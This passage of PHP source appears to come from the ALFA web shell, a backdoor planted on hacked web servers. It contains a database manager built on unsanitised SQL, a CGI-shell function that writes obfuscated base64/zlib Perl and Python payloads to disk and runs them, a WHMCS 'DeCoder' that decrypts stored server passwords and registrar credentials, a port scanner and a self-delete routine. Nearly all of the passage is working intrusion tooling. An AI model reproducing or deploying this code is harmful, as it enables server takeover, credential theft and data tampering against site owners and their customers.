                            }
                        }
                        if (!$head) {
                            if ($fp) {
                                fwrite($fp, ";\n\n");
                            } else {
                                echo ";\n\n";
                            }
                        }
                    }
                }
                echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
            }
        } elseif ($type == "load_tables") {
            $tables = array();
            $q_tables = @mysqli_query($conn, "SHOW TABLES;");
            $count = 0;
            while ($row = @mysqli_fetch_array($q_tables)) {
                if ($sql_count) {
                    $count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `' . $row[0] . '`');
                    if ($count_q) {
                        $count = @mysqli_fetch_row($count_q);
                        $count = $count[0];
                    }
                }
                $tables[] = array("name" => $row[0], "count" => (int) $count);
            }
            echo @json_encode($tables);
        } elseif ($type == "alter") {
            $db["alter"]["type"] = strtolower($db["alter"]["type"]);
            $inputs = $db["alter"]["type"] . "(" . $db["alter"]["input"] . ")";
            $text_input = array("longtext", "text", "mediumtext", "tinytext");
            if (in_array($db["alter"]["type"], $text_input)) {
                $inputs = $db["alter"]["type"];
            }
            @mysqli_query($conn, "ALTER TABLE `" . $db["table"] . "` MODIFY COLUMN `" . $db["column"] . "` " . $inputs);
            $error = @mysqli_error($conn);
            if ($error) {
                echo $error;
            } else {
                echo "ok";
            }
        } elseif ($type == "edit" || $type == "delete" || $type == "delete_all") {
            if ($type == "edit") {
                $q = @mysqli_query($conn, "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` = '" . addslashes($db["key"]) . "' LIMIT 0,1");
                $row = @mysqli_fetch_assoc($q);
                if ($row) {
                    $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'");
                    $columns = array();
                    $edit_data = array();
                    while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
                        $input = array("col_type" => $row2["COLUMN_TYPE"]);
                        $row2["type"] = strtolower($row2["type"]);
                        switch ($row2["type"]) {
                            case "longtext":
                            case "text":
                            case "mediumtext":
                            case "tinytext":
                                $input["tag"] = "textarea";
                                break;
                            case "int":
                            case "smallint":
                            case "bigint":
                            case "tinyint":
                            case "mediumint":
                                $input["tag"] = "input";
                                $input["type"] = "number";
                                break;
                            default:
                                $input["tag"] = "input";
                                $input["type"] = "text";
                        }
                        $columns[$row2["name"]] = $input;
                    }
                    foreach ($row as $key => $v) {
                        $edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), "type" => $columns[$key]);
                    }
                    echo @json_encode($edit_data);
                }
            } else {
                if ($type == "delete_all") {
                    $rows = implode("', '", $db["rows"]);
                } else {
                    $rows = addslashes($db["key"]);
                }
                $query = "DELETE FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE `" . $db["col_key"] . "` IN ('" . $rows . "')";
                @mysqli_query($conn, $query);
                $error = @mysqli_error($conn);
                if ($error) {
                    $status = false;
                } else {
                    $status = true;
                }
                echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));
            }
        } elseif ($type == "update") {
            $query = "UPDATE `" . $db["db"] . "`.`" . $db["table"] . "` SET ";
            foreach ($db["data"] as $col => $val) {
                $query .= "`" . $col . "` = '" . mysqli_real_escape_string($conn, $val) . "',";
            }
            $query = substr($query, 0, -1);
            $query .= "WHERE `" . $db["col_key"] . "` = '" . $db["key"] . "'";
            $res = @mysqli_query($conn, $query);
            echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
        } elseif ($type == "insert") {
            $query = "INSERT INTO `" . $db["db"] . "`.`" . $db["table"] . "` ";
            foreach ($db["data"] as $col => $val) {
                $cols .= $col . ",";
                $vals .= "'" . mysqli_real_escape_string($conn, $val) . "',";
            }
            $cols = substr($cols, 0, -1);
            $vals = substr($vals, 0, -1);
            $query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";
            $res = @mysqli_query($conn, $query);
            echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));
        } else {
            $pages = 0;
            $title = false;
            $query = "";
            $tbl_content = '<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
            $line = 0;
            $tables = array();
            $columns = array();
            if ($type == "load_data") {
                $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT 0,30";
                $tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `" . $db["db"] . "`.`" . $db["table"] . "`");
                $tbl_count = @mysqli_fetch_row($tbl_count_q);
                $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '" . $db["db"] . "' AND `TABLE_NAME` = '" . $db["table"] . "'");
                while ($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
                    $columns[] = $row2;
                }
                if ($tbl_count[0] > 30) {
                    $pages = ceil($tbl_count[0] / 30);
                }
            } elseif ($type == "query") {
                $query = $db["query"];
            } elseif ($type == "page") {
                $db["page"] = (int) $db["page"] - 1;
                $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` LIMIT " . $db["page"] * 30 . ",30";
            } elseif ($type == "search") {
                $search = "";
                $search_noval = array("= ''", "!= ''", "IS NULL", "IS NOT NULL");
                foreach ($db["search"] as $col => $val) {
                    $search_noval_r = in_array($val["opt"], $search_noval);
                    if (empty($val["value"]) && !$search_noval_r) {
                        continue;
                    }
                    if (strstr($val["opt"], "...") || $search_noval_r) {
                        $val["opt"] = str_replace("...", $val["value"], $val["opt"]);
                        $search .= $col . " " . $val["opt"] . " AND ";
                    } else {
                        $search .= $col . " " . $val["opt"] . " '" . addslashes($val["value"]) . "' AND ";
                    }
                }
                $search .= "1=1";
                $query = "SELECT * FROM `" . $db["db"] . "`.`" . $db["table"] . "` WHERE " . $search;
            }
            $q_tables = @mysqli_query($conn, $query);
            if (!$q_tables) {
                echo @json_encode(array("status" => false, "error" => @mysqli_error($conn), "query" => $query));
                return false;
            }
            $col_key = @mysqli_query($conn, "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '" . @addslashes($db["db"]) . "' AND TABLE_NAME = '" . @addslashes($db["table"]) . "' AND COLUMN_KEY = 'PRI'");
            if ($col_key) {
                $col_key = @mysqli_fetch_row($col_key);
                $col_key = $col_key[0];
                if (!empty($col_key)) {
                    $tbl_content = '<div style="margin-bottom:5px;margin-top:5px;"><button col_key="' . $col_key . '" tbl_name="' . $db["table"] . '" db_id="' . $db["db_id"] . '" 	db_target="' . $db["db"] . '" onclick="alfaMysqlDeleteAllSelectedrows(this);return false;">Delete Selected Rows</button></div><table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">';
                }
            } else {
                $col_key = false;
            }
            while ($item = @mysqli_fetch_assoc($q_tables)) {
                if (!$title) {
                    $tbl_content .= '<tr style="background-color:#305b8e;">';
                    if ($col_key) {
                        $tbl_content .= '<th style="width: 55px;text-align:center;"><input db_id="' . $db["db_id"] . '" onchange="alfaMysqlTblSelectAll(this);" type="checkbox"></th><th style="width: 55px;text-align:center;">Edit</th><th style="width: 55px;text-align:center;">Delete</th>';
                    }
                    foreach ($item as $key => $value) {
                        $tbl_content .= '<th>' . $key . '</th>';
                    }
                    reset($item);
                    $title = true;
                    $tbl_content .= '</tr><tr>';
                }
                if ($col_key) {
                    $cacheMsg = '<td style="text-align:center;"><input row_id="' . $line . '" type="checkbox" name="tbl_rows_checkbox[]" value="' . $item[$col_key] . '"></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="' . $db["db_id"] . '" db_target="' . $db["db"] . '" tbl_name="' . $db["table"] . '" col_key="' . $col_key . '" key="' . $item[$col_key] . '" onclick="alfaMysqlEditRow(this, \'edit\');" style="color:#0acaa6;">Edit</a></td><td style="text-align:center;"><a class="db-opt-id" href="javascript:void(0);" db_id="' . $db["db_id"] . '" db_target="' . $db["db"] . '" tbl_name="' . $db["table"] . '" col_key="' . $col_key . '" key="' . $item[$col_key] . '" row_id="' . $line . '" onclick="alfaMysqlEditRow(this, \'delete\');" style="color:#ff1e1e;">Delete</a></td>';
                }
                $tbl_content .= '<tr class="tbl_row tbl_row_l' . $line . '">' . $cacheMsg;
                $line++;
                foreach ($item as $key => $value) {
                    if ($value == null) {
                        $tbl_content .= '<td><i>null</i></td>';
                    } else {
                        $tbl_content .= '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                    }
                }
                $tbl_content .= '</tr>';
            }
            $tbl_content .= '</table>';
            if (!$title) {
                $tbl_content = "<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...</div>";
            }
            echo @json_encode(array("status" => true, "table" => $tbl_content, "columns" => $columns, "pages" => $pages, "query" => $query));
        }
        @mysqli_close($conn);
    }
}
function alfaselfrm()
{
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'yes') {
        echo __pre() . '<center>';
        if (@unlink($GLOBALS['__file_path'])) {
            echo "<b>Shell has been removed</i> :)</b>";
        } else {
            echo "unlink error!";
        }
        echo "</center>";
    }
    if (isset($_POST['alfa1']) && $_POST['alfa1'] != 'yes') {
        echo "<div class=header>";
        echo "\r\n<center><p><img src=\"http://solevisible.com/images/farvahar-iran.png\"></p>";
        echo "<p><div class=\"txtfont\">Do you want to destroy me?!</div><a href=javascript:void(0) onclick=\"g('selfrm',null,'yes');\"> Yes</a>";
        echo "</p></center></div>";
    }
}
function alfacgishell()
{
    alfahead();
    $div = "";
    alfaCreateParentFolder();
    @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
    if (!in_array($_POST['alfa1'], array('perl', 'py'))) {
        $div = "</div>";
        echo "<div class=header><center><p><div class=\"txtfont_header\">| CGI Shell |</div></p><h3><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi('perl')\">| Perl | </a><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi('py');\">| Python | </a>";
    }
    if (isset($_POST['alfa1']) && in_array($_POST['alfa1'], array('perl', 'py'))) {
        @mkdir('cgialfa', 0755);
        @chdir('cgialfa');
        alfacgihtaccess('cgi');
        $name = $_POST['alfa1'] . '.alfa';
        $perl = "#!/usr/bin/perl   -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64(\"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\")));";
        $py = "#!/usr/bin/python\nimport zlib, base64\neval(compile(zlib.decompress(base64.b64decode(\"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\")),'<string>','exec'))";
        if ($_POST['alfa1'] == 'perl') {
            $code = $perl;
        } else {
            $code = $py;
        }
        if (__write_file($name, $code)) {
            @chmod($name, 0755);
            echo "<iframe src=\"ALFA_DATA/cgialfa/" . $name . '" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
        }
    }
    echo $div;
    alfafooter();
}
function alfaWhmcs()
{
    alfahead();
    echo "<div class=header>";
    function decrypt($string, $cc_encryption_hash)
    {
        $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
        $hash_key = _hash($key);
        $hash_length = strlen($hash_key);
        $string = __ZGVjb2Rlcg($string);
        $tmp_iv = substr($string, 0, $hash_length);
        $string = substr($string, $hash_length, strlen($string) - $hash_length);
        $iv = $out = '';
        $c = 0;
        while ($c < $hash_length) {
            $iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
            ++$c;
        }
        $key = $iv;
        $c = 0;
        while ($c < strlen($string)) {
            if ($c != 0 and $c % $hash_length == 0) {
                $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
            }
            $out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
            ++$c;
        }
        return $out;
    }
    function _hash($string)
    {
        if (function_exists('sha1')) {
            $hash = sha1($string);
        } else {
            $hash = md5($string);
        }
        $out = '';
        $c = 0;
        while ($c < strlen($hash)) {
            $out .= chr(hexdec($hash[$c] . $hash[$c + 1]));
            $c += 2;
        }
        return $out;
    }
    AlfaNum(8, 9, 10);
    echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>" . getConfigHtml('whmcs') . "</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">\r\n<input type='hidden' name='form_action' value='2'>";
    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50'));
    create_table($table);
    echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
    if ($_POST['alfa5'] != '') {
        $db_host = $_POST['alfa7'];
        $db_username = $_POST['alfa3'];
        $db_password = $_POST['alfa4'];
        $db_name = $_POST['alfa5'];
        $cc_encryption_hash = $_POST['alfa6'];
        echo __pre();
        $conn = @mysqli_connect($db_host, $db_username, $db_password, $db_name) or die(mysqli_error($conn));
        $query = mysqli_query($conn, "SELECT * FROM tblservers");
        $num = mysqli_num_rows($query);
        if ($num > 0) {
            for ($i = 0; $i <= $num - 1; $i++) {
                $v = @mysqli_fetch_array($query);
                $ipaddress = $v['ipaddress'];
                $username = $v['username'];
                $type = $v['type'];
                $active = $v['active'];
                $hostname = $v['hostname'];
                echo "<center><table border='1'>";
                $password = decrypt($v['password'], $cc_encryption_hash);
                echo "<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>{$type}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>{$active}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>{$hostname}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>{$ipaddress}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>{$username}</td></tr></b>";
                echo "<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>{$password}</td></tr></b>";
                echo "</table><br><br></center>";
            }
            $query1 = @mysqli_query($conn, "SELECT * FROM tblregistrars");
            $num1 = @mysqli_num_rows($query1);
            if ($num1 > 0) {
                for ($i = 0; $i <= $num1 - 1; $i++) {
                    $v = mysqli_fetch_array($query1);
                    $registrar = $v['registrar'];
                    $setting = $v['setting'];
                    $value = decrypt($v['value'], $cc_encryption_hash);
                    if ($value == "") {
                        $value = 0;
                    }
                    echo "<center>Domain Reseller <br><center>";
                    echo "<center><table border='1'>";
                    echo "<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>{$registrar}</td></tr></b>";
                    echo "<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>{$setting}</td></tr></b>";
                    echo "<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>{$value}</td></tr></b>";
                    echo "</table><br><br></center>";
                }
            }
        } else {
            __alert('<font color="red">tblservers is Empty...!</font>');
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaportscanner()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Port Scaner |</div></p>\r\n<form action=\"\" method=\"post\" onsubmit=\"g('portscanner',null,null,this.start.value,this.end.value,this.host.value); return false;\">\r\n<input type=\"hidden\" name=\"y\" value=\"phptools\">\r\n<div class=\"txtfont\">Host: </div> <input id=\"text\" type=\"text\" name=\"host\" value=\"localhost\"/>\r\n<div class=\"txtfont\">Port start: </div> <input id=\"text\" size=\"5\" type=\"text\"  name=\"start\" value=\"80\"/>\r\n<div class=\"txtfont\">Port end: </div> <input id=\"text\" size=\"5\" type=\"text\" name=\"end\" value=\"80\"/> <input type=\"submit\" value=\" \" />\r\n</form></center><br>";
    $start = strip_tags($_POST['alfa2']);
    $end = strip_tags($_POST['alfa3']);
    $host = strip_tags($_POST['alfa4']);
    if (isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])) {
        echo __pre();
        $packetContent = "GET / HTTP/1.1\r\n\r\n";
        if (ctype_xdigit($packetContent)) {
            $packetContent = @pack("H*", $packetContent);
        } else {
            $packetContent = str_replace(array("\r", "\n"), "", $packetContent);
            $packetContent = str_replace(array("\\r", "\\n"), array("\r", "\n"), $packetContent);
        }
        for ($i = $start; $i <= $end; $i++) {
            $sock = @fsockopen($host, $i, $errno, $errstr, 3);
            if ($sock) {
                stream_set_timeout($sock, 5);
                fwrite($sock, $packetContent . "\r\n\r\n\x00");
                $counter = 0;
                $maxtry = 1;
                $bin = "";
                do {
                    $line = fgets($sock, 1024);
                    if (trim($line) == "") {
                        $counter++;
                    }
                    $bin .= $line;
                } while ($counter < $maxtry);
                fclose($sock);
                echo "<center><p>Port <font style='color:#DE3E3E'>{$i}</font> is open</p>";
